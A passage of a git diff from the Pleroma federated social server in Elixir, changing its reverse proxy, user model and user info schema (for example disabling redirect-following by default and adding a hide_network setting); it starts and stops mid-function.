+ defp fetch_token([token | tail]) do
+ trimmed_token = String.trim(token)
+
+ case Regex.run(@realm_reg, trimmed_token) do
+ [_, match] -> {:ok, String.trim(match)}
+ _ -> fetch_token(tail)
+ end
+ end
end
diff --git a/lib/pleroma/reverse_proxy.ex b/lib/pleroma/reverse_proxy.ex
index ad9dc82fe..4ca84152a 100644
--- a/lib/pleroma/reverse_proxy.ex
+++ b/lib/pleroma/reverse_proxy.ex
@@ -1,343 +1,343 @@
defmodule Pleroma.ReverseProxy do
@keep_req_headers ~w(accept user-agent accept-encoding cache-control if-modified-since if-unmodified-since if-none-match if-range range)
@resp_cache_headers ~w(etag date last-modified cache-control)
@keep_resp_headers @resp_cache_headers ++
~w(content-type content-disposition content-encoding content-range accept-ranges vary)
@default_cache_control_header "public, max-age=1209600"
@valid_resp_codes [200, 206, 304]
@max_read_duration :timer.seconds(30)
@max_body_length :infinity
@methods ~w(GET HEAD)
@moduledoc """
A reverse proxy.
Pleroma.ReverseProxy.call(conn, url, options)
It is not meant to be added into a plug pipeline, but to be called from another plug or controller.
Supports `#{inspect(@methods)}` HTTP methods, and only allows `#{inspect(@valid_resp_codes)}` status codes.
Responses are chunked to the client while downloading from the upstream.
Some request / responses headers are preserved:
* request: `#{inspect(@keep_req_headers)}`
* response: `#{inspect(@keep_resp_headers)}`
If no caching headers (`#{inspect(@resp_cache_headers)}`) are returned by upstream, `cache-control` will be
set to `#{inspect(@default_cache_control_header)}`.
Options:
* `redirect_on_failure` (default `false`). Redirects the client to the real remote URL if there's any HTTP
errors. Any error during body processing will not be redirected as the response is chunked. This may expose
remote URL, clients IPs, ….
* `max_body_length` (default `#{inspect(@max_body_length)}`): limits the content length to be approximately the
specified length. It is validated with the `content-length` header and also verified when proxying.
* `max_read_duration` (default `#{inspect(@max_read_duration)}` ms): the total time the connection is allowed to
read from the remote upstream.
* `inline_content_types`:
* `true` will not alter `content-disposition` (up to the upstream),
* `false` will add `content-disposition: attachment` to any request,
* a list of whitelisted content types
* `keep_user_agent` will forward the client's user-agent to the upstream. This may be useful if the upstream is
doing content transformation (encoding, …) depending on the request.
* `req_headers`, `resp_headers` additional headers.
* `http`: options for [hackney](https://github.com/benoitc/hackney).
"""
@hackney Application.get_env(:pleroma, :hackney, :hackney)
@httpoison Application.get_env(:pleroma, :httpoison, HTTPoison)
- @default_hackney_options [{:follow_redirect, true}]
+ @default_hackney_options []
@inline_content_types [
"image/gif",
"image/jpeg",
"image/jpg",
"image/png",
"image/svg+xml",
"audio/mpeg",
"audio/mp3",
"video/webm",
"video/mp4",
"video/quicktime"
]
require Logger
import Plug.Conn
@type option() ::
{:keep_user_agent, boolean}
| {:max_read_duration, :timer.time() | :infinity}
| {:max_body_length, non_neg_integer() | :infinity}
| {:http, []}
| {:req_headers, [{String.t(), String.t()}]}
| {:resp_headers, [{String.t(), String.t()}]}
| {:inline_content_types, boolean() | [String.t()]}
| {:redirect_on_failure, boolean()}
@spec call(Plug.Conn.t(), url :: String.t(), [option()]) :: Plug.Conn.t()
def call(conn = %{method: method}, url, opts \\ []) when method in @methods do
hackney_opts =
@default_hackney_options
|> Keyword.merge(Keyword.get(opts, :http, []))
|> @httpoison.process_request_options()
req_headers = build_req_headers(conn.req_headers, opts)
opts =
if filename = Pleroma.Web.MediaProxy.filename(url) do
Keyword.put_new(opts, :attachment_name, filename)
else
opts
end
with {:ok, code, headers, client} <- request(method, url, req_headers, hackney_opts),
:ok <- header_length_constraint(headers, Keyword.get(opts, :max_body_length)) do
response(conn, client, url, code, headers, opts)
else
{:ok, code, headers} ->
head_response(conn, url, code, headers, opts)
|> halt()
{:error, {:invalid_http_response, code}} ->
Logger.error("#{__MODULE__}: request to #{inspect(url)} failed with HTTP status #{code}")
conn
|> error_or_redirect(
url,
code,
"Request failed: " <> Plug.Conn.Status.reason_phrase(code),
opts
)
|> halt()
{:error, error} ->
Logger.error("#{__MODULE__}: request to #{inspect(url)} failed: #{inspect(error)}")
conn
|> error_or_redirect(url, 500, "Request failed", opts)
|> halt()
end
end
def call(conn, _, _) do
conn
|> send_resp(400, Plug.Conn.Status.reason_phrase(400))
|> halt()
end
defp request(method, url, headers, hackney_opts) do
Logger.debug("#{__MODULE__} #{method} #{url} #{inspect(headers)}")
method = method |> String.downcase() |> String.to_existing_atom()
case @hackney.request(method, url, headers, "", hackney_opts) do
{:ok, code, headers, client} when code in @valid_resp_codes ->
{:ok, code, downcase_headers(headers), client}
{:ok, code, headers} when code in @valid_resp_codes ->
{:ok, code, downcase_headers(headers)}
{:ok, code, _, _} ->
{:error, {:invalid_http_response, code}}
{:error, error} ->
{:error, error}
end
end
defp response(conn, client, url, status, headers, opts) do
result =
conn
|> put_resp_headers(build_resp_headers(headers, opts))
|> send_chunked(status)
|> chunk_reply(client, opts)
case result do
{:ok, conn} ->
halt(conn)
{:error, :closed, conn} ->
:hackney.close(client)
halt(conn)
{:error, error, conn} ->
Logger.warn(
"#{__MODULE__} request to #{url} failed while reading/chunking: #{inspect(error)}"
)
:hackney.close(client)
halt(conn)
end
end
defp chunk_reply(conn, client, opts) do
chunk_reply(conn, client, opts, 0, 0)
end
defp chunk_reply(conn, client, opts, sent_so_far, duration) do
with {:ok, duration} <-
check_read_duration(
duration,
Keyword.get(opts, :max_read_duration, @max_read_duration)
),
{:ok, data} <- @hackney.stream_body(client),
{:ok, duration} <- increase_read_duration(duration),
sent_so_far = sent_so_far + byte_size(data),
:ok <- body_size_constraint(sent_so_far, Keyword.get(opts, :max_body_size)),
{:ok, conn} <- chunk(conn, data) do
chunk_reply(conn, client, opts, sent_so_far, duration)
else
:done -> {:ok, conn}
{:error, error} -> {:error, error, conn}
end
end
defp head_response(conn, _url, code, headers, opts) do
conn
|> put_resp_headers(build_resp_headers(headers, opts))
|> send_resp(code, "")
end
defp error_or_redirect(conn, url, code, body, opts) do
if Keyword.get(opts, :redirect_on_failure, false) do
conn
|> Phoenix.Controller.redirect(external: url)
|> halt()
else
conn
|> send_resp(code, body)
|> halt
end
end
defp downcase_headers(headers) do
Enum.map(headers, fn {k, v} ->
{String.downcase(k), v}
end)
end
defp get_content_type(headers) do
{_, content_type} =
List.keyfind(headers, "content-type", 0, {"content-type", "application/octet-stream"})
[content_type | _] = String.split(content_type, ";")
content_type
end
defp put_resp_headers(conn, headers) do
Enum.reduce(headers, conn, fn {k, v}, conn ->
put_resp_header(conn, k, v)
end)
end
defp build_req_headers(headers, opts) do
headers =
headers
|> downcase_headers()
|> Enum.filter(fn {k, _} -> k in @keep_req_headers end)
|> (fn headers ->
headers = headers ++ Keyword.get(opts, :req_headers, [])
if Keyword.get(opts, :keep_user_agent, false) do
List.keystore(
headers,
"user-agent",
0,
{"user-agent", Pleroma.Application.user_agent()}
)
else
headers
end
end).()
end
defp build_resp_headers(headers, opts) do
headers
|> Enum.filter(fn {k, _} -> k in @keep_resp_headers end)
|> build_resp_cache_headers(opts)
|> build_resp_content_disposition_header(opts)
|> (fn headers -> headers ++ Keyword.get(opts, :resp_headers, []) end).()
end
defp build_resp_cache_headers(headers, opts) do
has_cache? = Enum.any?(headers, fn {k, _} -> k in @resp_cache_headers end)
if has_cache? do
headers
else
List.keystore(headers, "cache-control", 0, {"cache-control", @default_cache_control_header})
end
end
defp build_resp_content_disposition_header(headers, opts) do
opt = Keyword.get(opts, :inline_content_types, @inline_content_types)
content_type = get_content_type(headers)
attachment? =
cond do
is_list(opt) && !Enum.member?(opt, content_type) -> true
opt == false -> true
true -> false
end
if attachment? do
disposition = "attachment; filename=" <> Keyword.get(opts, :attachment_name, "attachment")
List.keystore(headers, "content-disposition", 0, {"content-disposition", disposition})
else
headers
end
end
defp header_length_constraint(headers, limit) when is_integer(limit) and limit > 0 do
with {_, size} <- List.keyfind(headers, "content-length", 0),
{size, _} <- Integer.parse(size),
true <- size <= limit do
:ok
else
false ->
{:error, :body_too_large}
_ ->
:ok
end
end
defp header_length_constraint(_, _), do: :ok
defp body_size_constraint(size, limit) when is_integer(limit) and limit > 0 and size >= limit do
{:error, :body_too_large}
end
defp body_size_constraint(_, _), do: :ok
defp check_read_duration(duration, max)
when is_integer(duration) and is_integer(max) and max > 0 do
if duration > max do
{:error, :read_duration_exceeded}
else
{:ok, {duration, :erlang.system_time(:millisecond)}}
end
end
defp check_read_duration(_, _), do: {:ok, :no_duration_limit, :no_duration_limit}
defp increase_read_duration({previous_duration, started})
when is_integer(previous_duration) and is_integer(started) do
duration = :erlang.system_time(:millisecond) - started
{:ok, previous_duration + duration}
end
defp increase_read_duration(_) do
{:ok, :no_duration_limit, :no_duration_limit}
end
end
diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex
index 74ae5ef0d..9da674982 100644
--- a/lib/pleroma/user.ex
+++ b/lib/pleroma/user.ex
@@ -1,822 +1,818 @@
defmodule Pleroma.User do
use Ecto.Schema
import Ecto.{Changeset, Query}
alias Pleroma.{Repo, User, Object, Web, Activity, Notification}
alias Comeonin.Pbkdf2
alias Pleroma.Formatter
alias Pleroma.Web.CommonAPI.Utils, as: CommonUtils
alias Pleroma.Web.{OStatus, Websub, OAuth}
alias Pleroma.Web.ActivityPub.{Utils, ActivityPub}
schema "users" do
field(:bio, :string)
field(:email, :string)
field(:name, :string)
field(:nickname, :string)
field(:password_hash, :string)
field(:password, :string, virtual: true)
field(:password_confirmation, :string, virtual: true)
field(:following, {:array, :string}, default: [])
field(:ap_id, :string)
field(:avatar, :map)
field(:local, :boolean, default: true)
field(:follower_address, :string)
field(:search_distance, :float, virtual: true)
field(:last_refreshed_at, :naive_datetime)
has_many(:notifications, Notification)
embeds_one(:info, Pleroma.User.Info)
timestamps()
end
def avatar_url(user) do
case user.avatar do
%{"url" => [%{"href" => href} | _]} -> href
_ -> "#{Web.base_url()}/images/avi.png"
end
end
def banner_url(user) do
case user.info.banner do
%{"url" => [%{"href" => href} | _]} -> href
_ -> "#{Web.base_url()}/images/banner.png"
end
end
def profile_url(%User{info: %{source_data: %{"url" => url}}}), do: url
def profile_url(%User{ap_id: ap_id}), do: ap_id
def profile_url(_), do: nil
def ap_id(%User{nickname: nickname}) do
"#{Web.base_url()}/users/#{nickname}"
end
def ap_followers(%User{} = user) do
"#{ap_id(user)}/followers"
end
def follow_changeset(struct, params \\ %{}) do
struct
|> cast(params, [:following])
|> validate_required([:following])
end
- def info_changeset(struct, params \\ %{}) do
- raise "NOT VALID ANYMORE"
- end
-
def user_info(%User{} = user) do
oneself = if user.local, do: 1, else: 0
%{
following_count: length(user.following) - oneself,
note_count: user.info.note_count,
follower_count: user.info.follower_count,
locked: user.info.locked,
default_scope: user.info.default_scope
}
end
@email_regex ~r/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/
def remote_user_creation(params) do
params =
params
|> Map.put(:info, params[:info] || %{})
info_cng = User.Info.remote_user_creation(%User.Info{}, params[:info])
changes =
%User{}
|> cast(params, [:bio, :name, :ap_id, :nickname, :avatar])
|> validate_required([:name, :ap_id])
|> unique_constraint(:nickname)
|> validate_format(:nickname, @email_regex)
|> validate_length(:bio, max: 5000)
|> validate_length(:name, max: 100)
|> put_change(:local, false)
|> put_embed(:info, info_cng)
if changes.valid? do
case info_cng.changes[:source_data] do
%{"followers" => followers} ->
changes
|> put_change(:follower_address, followers)
_ ->
followers = User.ap_followers(%User{nickname: changes.changes[:nickname]})
changes
|> put_change(:follower_address, followers)
end
else
changes
end
end
def update_changeset(struct, params \\ %{}) do
struct
|> cast(params, [:bio, :name, :avatar])
|> unique_constraint(:nickname)
|> validate_format(:nickname, ~r/^[a-zA-Z\d]+$/)
|> validate_length(:bio, max: 5000)
|> validate_length(:name, min: 1, max: 100)
end
def upgrade_changeset(struct, params \\ %{}) do
params =
params
|> Map.put(:last_refreshed_at, NaiveDateTime.utc_now())
info_cng =
struct.info
|> User.Info.user_upgrade(params[:info])
struct
|> cast(params, [:bio, :name, :follower_address, :avatar, :last_refreshed_at])
|> unique_constraint(:nickname)
|> validate_format(:nickname, ~r/^[a-zA-Z\d]+$/)
|> validate_length(:bio, max: 5000)
|> validate_length(:name, max: 100)
|> put_embed(:info, info_cng)
end
def password_update_changeset(struct, params) do
changeset =
struct
|> cast(params, [:password, :password_confirmation])
|> validate_required([:password, :password_confirmation])
|> validate_confirmation(:password)
OAuth.Token.delete_user_tokens(struct)
OAuth.Authorization.delete_user_authorizations(struct)
if changeset.valid? do
hashed = Pbkdf2.hashpwsalt(changeset.changes[:password])
changeset
|> put_change(:password_hash, hashed)
else
changeset
end
end
def reset_password(user, data) do
update_and_set_cache(password_update_changeset(user, data))
end
def register_changeset(struct, params \\ %{}) do
changeset =
struct
|> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation])
|> validate_required([:email, :name, :nickname, :password, :password_confirmation])
|> validate_confirmation(:password)
|> unique_constraint(:email)
|> unique_constraint(:nickname)
|> validate_format(:nickname, ~r/^[a-zA-Z\d]+$/)
|> validate_format(:email, @email_regex)
|> validate_length(:bio, max: 1000)
|> validate_length(:name, min: 1, max: 100)
|> put_change(:info, %Pleroma.User.Info{})
if changeset.valid? do
hashed = Pbkdf2.hashpwsalt(changeset.changes[:password])
ap_id = User.ap_id(%User{nickname: changeset.changes[:nickname]})
followers = User.ap_followers(%User{nickname: changeset.changes[:nickname]})
changeset
|> put_change(:password_hash, hashed)
|> put_change(:ap_id, ap_id)
|> put_change(:following, [followers])
|> put_change(:follower_address, followers)
else
changeset
end
end
def needs_update?(%User{local: true}), do: false
def needs_update?(%User{local: false, last_refreshed_at: nil}), do: true
def needs_update?(%User{local: false} = user) do
NaiveDateTime.diff(NaiveDateTime.utc_now(), user.last_refreshed_at) >= 86400
end
def needs_update?(_), do: true
def maybe_direct_follow(%User{} = follower, %User{local: true, info: %{locked: true}}) do
{:ok, follower}
end
def maybe_direct_follow(%User{} = follower, %User{local: true} = followed) do
follow(follower, followed)
end
def maybe_direct_follow(%User{} = follower, %User{} = followed) do
if !User.ap_enabled?(followed) do
follow(follower, followed)
else
{:ok, follower}
end
end
def maybe_follow(%User{} = follower, %User{info: info} = followed) do
if not following?(follower, followed) do
follow(follower, followed)
else
{:ok, follower}
end
end
def follow(%User{} = follower, %User{info: info} = followed) do
user_config = Application.get_env(:pleroma, :user)
deny_follow_blocked = Keyword.get(user_config, :deny_follow_blocked)
ap_followers = followed.follower_address
cond do
following?(follower, followed) or info.deactivated ->
{:error, "Could not follow user: #{followed.nickname} is already on your list."}
deny_follow_blocked and blocks?(followed, follower) ->
{:error, "Could not follow user: #{followed.nickname} blocked you."}
true ->
if !followed.local && follower.local && !ap_enabled?(followed) do
Websub.subscribe(follower, followed)
end
following =
[ap_followers | follower.following]
|> Enum.uniq()
follower =
follower
|> follow_changeset(%{following: following})
|> update_and_set_cache
{:ok, _} = update_follower_count(followed)
follower
end
end
def unfollow(%User{} = follower, %User{} = followed) do
ap_followers = followed.follower_address
if following?(follower, followed) and follower.ap_id != followed.ap_id do
following =
follower.following
|> List.delete(ap_followers)
{:ok, follower} =
follower
|> follow_changeset(%{following: following})
|> update_and_set_cache
{:ok, followed} = update_follower_count(followed)
{:ok, follower, Utils.fetch_latest_follow(follower, followed)}
else
{:error, "Not subscribed!"}
end
end
def following?(%User{} = follower, %User{} = followed) do
Enum.member?(follower.following, followed.follower_address)
end
def locked?(%User{} = user) do
user.info.locked || false
end
def get_by_ap_id(ap_id) do
Repo.get_by(User, ap_id: ap_id)
end
def update_and_set_cache(changeset) do
with {:ok, user} <- Repo.update(changeset) do
Cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
Cachex.put(:user_cache, "nickname:#{user.nickname}", user)
Cachex.put(:user_cache, "user_info:#{user.id}", user_info(user))
{:ok, user}
else
e -> e
end
end
def invalidate_cache(user) do
Cachex.del(:user_cache, "ap_id:#{user.ap_id}")
Cachex.del(:user_cache, "nickname:#{user.nickname}")
Cachex.del(:user_cache, "user_info:#{user.id}")
end
def get_cached_by_ap_id(ap_id) do
key = "ap_id:#{ap_id}"
Cachex.fetch!(:user_cache, key, fn _ -> get_by_ap_id(ap_id) end)
end
def get_cached_by_nickname(nickname) do
key = "nickname:#{nickname}"
Cachex.fetch!(:user_cache, key, fn _ -> get_or_fetch_by_nickname(nickname) end)
end
def get_by_nickname(nickname) do
Repo.get_by(User, nickname: nickname)
end
def get_by_nickname_or_email(nickname_or_email) do
case user = Repo.get_by(User, nickname: nickname_or_email) do
%User{} -> user
nil -> Repo.get_by(User, email: nickname_or_email)
end
end
def get_cached_user_info(user) do
key = "user_info:#{user.id}"
Cachex.fetch!(:user_cache, key, fn _ -> user_info(user) end)
end
def fetch_by_nickname(nickname) do
ap_try = ActivityPub.make_user_from_nickname(nickname)
case ap_try do
{:ok, user} -> {:ok, user}
_ -> OStatus.make_user(nickname)
end
end
def get_or_fetch_by_nickname(nickname) do
with %User{} = user <- get_by_nickname(nickname) do
user
else
_e ->
with [_nick, _domain] <- String.split(nickname, "@"),
{:ok, user} <- fetch_by_nickname(nickname) do
user
else
_e -> nil
end
end
end
def get_followers_query(%User{id: id, follower_address: follower_address}) do
from(
u in User,
where: fragment("? <@ ?", ^[follower_address], u.following),
where: u.id != ^id
)
end
def get_followers(user) do
q = get_followers_query(user)
{:ok, Repo.all(q)}
end
def get_friends_query(%User{id: id, following: following}) do
from(
u in User,
where: u.follower_address in ^following,
where: u.id != ^id
)
end
def get_friends(user) do
q = get_friends_query(user)
{:ok, Repo.all(q)}
end
def get_follow_requests_query(%User{} = user) do
from(
a in Activity,
where:
fragment(
"? ->> 'type' = 'Follow'",
a.data
),
where:
fragment(
"? ->> 'state' = 'pending'",
a.data
),
where:
fragment(
"? @> ?",
a.data,
^%{"object" => user.ap_id}
)
)
end
def get_follow_requests(%User{} = user) do
q = get_follow_requests_query(user)
reqs = Repo.all(q)
users =
Enum.map(reqs, fn req -> req.actor end)
|> Enum.uniq()
|> Enum.map(fn ap_id -> get_by_ap_id(ap_id) end)
|> Enum.filter(fn u -> !following?(u, user) end)
{:ok, users}
end
def increase_note_count(%User{} = user) do
info_cng = User.Info.add_to_note_count(user.info, 1)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def decrease_note_count(%User{} = user) do
info_cng = User.Info.add_to_note_count(user.info, -1)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def update_note_count(%User{} = user) do
note_count_query =
from(
a in Object,
where: fragment("?->>'actor' = ? and ?->>'type' = 'Note'", a.data, ^user.ap_id, a.data),
select: count(a.id)
)
note_count = Repo.one(note_count_query)
info_cng = User.Info.set_note_count(user.info, note_count)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def update_follower_count(%User{} = user) do
follower_count_query =
from(
u in User,
where: ^user.follower_address in u.following,
where: u.id != ^user.id,
select: count(u.id)
)
follower_count = Repo.one(follower_count_query)
info_cng =
user.info
|> User.Info.set_follower_count(follower_count)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def get_users_from_set_query(ap_ids, false) do
from(
u in User,
where: u.ap_id in ^ap_ids
)
end
def get_users_from_set_query(ap_ids, true) do
query = get_users_from_set_query(ap_ids, false)
from(
u in query,
where: u.local == true
)
end
def get_users_from_set(ap_ids, local_only \\ true) do
get_users_from_set_query(ap_ids, local_only)
|> Repo.all()
end
def get_recipients_from_activity(%Activity{recipients: to}) do
query =
from(
u in User,
where: u.ap_id in ^to,
or_where: fragment("? && ?", u.following, ^to)
)
query = from(u in query, where: u.local == true)
Repo.all(query)
end
def search(query, resolve \\ false) do
# strip the beginning @ off if there is a query
query = String.trim_leading(query, "@")
if resolve do
User.get_or_fetch_by_nickname(query)
end
inner =
from(
u in User,
select_merge: %{
search_distance:
fragment(
"? <-> (? || ?)",
^query,
u.nickname,
u.name
)
},
where: not is_nil(u.nickname)
)
q =
from(
s in subquery(inner),
order_by: s.search_distance,
limit: 20
)
Repo.all(q)
end
def block(blocker, %User{ap_id: ap_id} = blocked) do
# sever any follow relationships to prevent leaks per activitypub (Pleroma issue #213)
blocker =
if following?(blocker, blocked) do
{:ok, blocker, _} = unfollow(blocker, blocked)
blocker
else
blocker
end
if following?(blocked, blocker) do
unfollow(blocked, blocker)
end
info_cng =
blocker.info
|> User.Info.add_to_block(ap_id)
cng =
change(blocker)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
# helper to handle the block given only an actor's AP id
def block(blocker, %{ap_id: ap_id}) do
block(blocker, User.get_by_ap_id(ap_id))
end
def unblock(blocker, %{ap_id: ap_id}) do
info_cng =
blocker.info
|> User.Info.remove_from_block(ap_id)
cng =
change(blocker)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def blocks?(user, %{ap_id: ap_id}) do
blocks = user.info.blocks
domain_blocks = user.info.domain_blocks
%{host: host} = URI.parse(ap_id)
Enum.member?(blocks, ap_id) ||
Enum.any?(domain_blocks, fn domain ->
host == domain
end)
end
def block_domain(user, domain) do
info_cng =
user.info
|> User.Info.add_to_domain_block(domain)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def unblock_domain(user, domain) do
info_cng =
user.info
|> User.Info.remove_from_domain_block(domain)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def local_user_query() do
from(
u in User,
where: u.local == true,
where: not is_nil(u.nickname)
)
end
def moderator_user_query() do
from(
u in User,
where: u.local == true,
where: fragment("?->'is_moderator' @> 'true'", u.info)
)
end
def deactivate(%User{} = user, status \\ true) do
info_cng = User.Info.set_activation_status(user.info, status)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
end
def delete(%User{} = user) do
{:ok, user} = User.deactivate(user)
# Remove all relationships
{:ok, followers} = User.get_followers(user)
followers
|> Enum.each(fn follower -> User.unfollow(follower, user) end)
{:ok, friends} = User.get_friends(user)
friends
|> Enum.each(fn followed -> User.unfollow(user, followed) end)
query = from(a in Activity, where: a.actor == ^user.ap_id)
Repo.all(query)
|> Enum.each(fn activity ->
case activity.data["type"] do
"Create" ->
ActivityPub.delete(Object.normalize(activity.data["object"]))
# TODO: Do something with likes, follows, repeats.
_ ->
"Doing nothing"
end
end)
{:ok, user}
end
def html_filter_policy(%User{info: %{no_rich_text: true}}) do
Pleroma.HTML.Scrubber.TwitterText
end
def html_filter_policy(_), do: nil
def get_or_fetch_by_ap_id(ap_id) do
user = get_by_ap_id(ap_id)
if !is_nil(user) and !User.needs_update?(user) do
user
else
ap_try = ActivityPub.make_user_from_ap_id(ap_id)
case ap_try do
{:ok, user} ->
user
_ ->
case OStatus.make_user(ap_id) do
{:ok, user} -> user
_ -> {:error, "Could not fetch by AP id"}
end
end
end
end
def get_or_create_instance_user do
relay_uri = "#{Pleroma.Web.Endpoint.url()}/relay"
if user = get_by_ap_id(relay_uri) do
user
else
changes =
%User{info: %User.Info{}}
|> cast(%{}, [:ap_id, :nickname, :local])
|> put_change(:ap_id, relay_uri)
|> put_change(:nickname, nil)
|> put_change(:local, true)
|> put_change(:follower_address, relay_uri <> "/followers")
{:ok, user} = Repo.insert(changes)
user
end
end
# AP style
def public_key_from_info(%{
source_data: %{"publicKey" => %{"publicKeyPem" => public_key_pem}}
}) do
key =
:public_key.pem_decode(public_key_pem)
|> hd()
|> :public_key.pem_entry_decode()
{:ok, key}
end
# OStatus Magic Key
def public_key_from_info(%{magic_key: magic_key}) do
{:ok, Pleroma.Web.Salmon.decode_key(magic_key)}
end
def get_public_key_for_ap_id(ap_id) do
with %User{} = user <- get_or_fetch_by_ap_id(ap_id),
{:ok, public_key} <- public_key_from_info(user.info) do
{:ok, public_key}
else
_ -> :error
end
end
defp blank?(""), do: nil
defp blank?(n), do: n
def insert_or_update_user(data) do
data =
data
|> Map.put(:name, blank?(data[:name]) || data[:nickname])
cs = User.remote_user_creation(data)
Repo.insert(cs, on_conflict: :replace_all, conflict_target: :nickname)
end
def ap_enabled?(%User{local: true}), do: true
def ap_enabled?(%User{info: info}), do: info.ap_enabled
def ap_enabled?(_), do: false
def get_or_fetch(uri_or_nickname) do
if String.starts_with?(uri_or_nickname, "http") do
get_or_fetch_by_ap_id(uri_or_nickname)
else
get_or_fetch_by_nickname(uri_or_nickname)
end
end
# wait a period of time and return newest version of the User structs
# this is because we have synchronous follow APIs and need to simulate them
# with an async handshake
def wait_and_refresh(_, %User{local: true} = a, %User{local: true} = b) do
with %User{} = a <- Repo.get(User, a.id),
%User{} = b <- Repo.get(User, b.id) do
{:ok, a, b}
else
_e ->
:error
end
end
def wait_and_refresh(timeout, %User{} = a, %User{} = b) do
with :ok <- :timer.sleep(timeout),
%User{} = a <- Repo.get(User, a.id),
%User{} = b <- Repo.get(User, b.id) do
{:ok, a, b}
else
_e ->
:error
end
end
def parse_bio(bio, user \\ %User{info: %{source_data: %{}}}) do
mentions = Formatter.parse_mentions(bio)
tags = Formatter.parse_tags(bio)
emoji =
(user.info.source_data["tag"] || [])
|> Enum.filter(fn %{"type" => t} -> t == "Emoji" end)
|> Enum.map(fn %{"icon" => %{"url" => url}, "name" => name} ->
{String.trim(name, ":"), url}
end)
CommonUtils.format_input(bio, mentions, tags, "text/plain") |> Formatter.emojify(emoji)
end
end
diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex
index 49b2f0eda..d81b45b8d 100644
--- a/lib/pleroma/user/info.ex
+++ b/lib/pleroma/user/info.ex
@@ -1,165 +1,172 @@
defmodule Pleroma.User.Info do
use Ecto.Schema
import Ecto.Changeset
embedded_schema do
field(:banner, :map, default: %{})
field(:background, :map, default: %{})
field(:source_data, :map, default: %{})
field(:note_count, :integer, default: 0)
field(:follower_count, :integer, default: 0)
field(:locked, :boolean, default: false)
field(:default_scope, :string, default: "public")
field(:blocks, {:array, :string}, default: [])
field(:domain_blocks, {:array, :string}, default: [])
field(:deactivated, :boolean, default: false)
field(:no_rich_text, :boolean, default: false)
field(:ap_enabled, :boolean, default: false)
field(:is_moderator, :boolean, default: false)
field(:is_admin, :boolean, default: false)
field(:keys, :string, default: nil)
field(:settings, :map, default: nil)
field(:magic_key, :string, default: nil)
field(:uri, :string, default: nil)
field(:topic, :string, default: nil)
field(:hub, :string, default: nil)
field(:salmon, :string, default: nil)
+ field(:hide_network, :boolean, default: false)
# Found in the wild
# ap_id -> Where is this used?
# bio -> Where is this used?
# avatar -> Where is this used?
# fqn -> Where is this used?
# host -> Where is this used?
# subject _> Where is this used?
end
def set_activation_status(info, deactivated) do
params = %{deactivated: deactivated}
info
|> cast(params, [:deactivated])
|> validate_required([:deactivated])
end
def add_to_note_count(info, number) do
set_note_count(info, info.note_count + number)
end
def set_note_count(info, number) do
params = %{note_count: Enum.max([0, number])}
info
|> cast(params, [:note_count])
|> validate_required([:note_count])
end
def set_follower_count(info, number) do
params = %{follower_count: Enum.max([0, number])}
info
|> cast(params, [:follower_count])
|> validate_required([:follower_count])
end
def set_blocks(info, blocks) do
params = %{blocks: blocks}
info
|> cast(params, [:blocks])
|> validate_required([:blocks])
end
def add_to_block(info, blocked) do
set_blocks(info, Enum.uniq([blocked | info.blocks]))
end
def remove_from_block(info, blocked) do
set_blocks(info, List.delete(info.blocks, blocked))
end
def set_domain_blocks(info, domain_blocks) do
params = %{domain_blocks: domain_blocks}
info
|> cast(params, [:domain_blocks])
|> validate_required([:domain_blocks])
end
def add_to_domain_block(info, domain_blocked) do
set_domain_blocks(info, Enum.uniq([domain_blocked | info.domain_blocks]))
end
def remove_from_domain_block(info, domain_blocked) do
set_domain_blocks(info, List.delete(info.domain_blocks, domain_blocked))
end
def set_keys(info, keys) do
params = %{keys: keys}
info
|> cast(params, [:keys])
|> validate_required([:keys])
end
def remote_user_creation(info, params) do
info
|> cast(params, [
:ap_enabled,
:source_data,
:banner,
:locked,
:magic_key,
:uri,
:hub,
:topic,
:salmon
])
end
def user_upgrade(info, params) do
info
|> cast(params, [
:ap_enabled,
:source_data,
:banner,
:locked,
:magic_key
])
end
def profile_update(info, params) do
info
|> cast(params, [
:locked,
:no_rich_text,
:default_scope,
:banner,
+ :hide_network,
:background
])
end
def mastodon_profile_update(info, params) do
info
|> cast(params, [
:locked,
:banner
])
end
+ def mastodon_settings_update(info, params) do
+ info
+ |> cast(params, [:settings])
+ end
+
def set_source_data(info, source_data) do
params = %{source_data: source_data}
info
|> cast(params, [:source_data])
|> validate_required([:source_data])
end
def admin_api_update(info, params) do
info
|> cast(params, [
:is_moderator,
:is_admin
])
end
end
diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
index 60253a715..bf81d8039 100644
--- a/lib/pleroma/web/activity_pub/activity_pub.ex
+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
@@ -1,830 +1,834 @@
defmodule Pleroma.Web.ActivityPub.ActivityPub do
alias Pleroma.{Activity, Repo, Object, Upload, User, Notification}
alias Pleroma.Web.ActivityPub.{Transmogrifier, MRF}
alias Pleroma.Web.WebFinger
alias Pleroma.Web.Federator
alias Pleroma.Web.OStatus
import Ecto.Query
import Pleroma.Web.ActivityPub.Utils
require Logger
@httpoison Application.get_env(:pleroma, :httpoison)
# For Announce activities, we filter the recipients based on following status for any actors
# that match actual users. See issue #164 for more information about why this is necessary.
defp get_recipients(%{"type" => "Announce"} = data) do
to = data["to"] || []
cc = data["cc"] || []
recipients = to ++ cc
actor = User.get_cached_by_ap_id(data["actor"])
recipients
|> Enum.filter(fn recipient ->
case User.get_cached_by_ap_id(recipient) do
nil ->
true
user ->
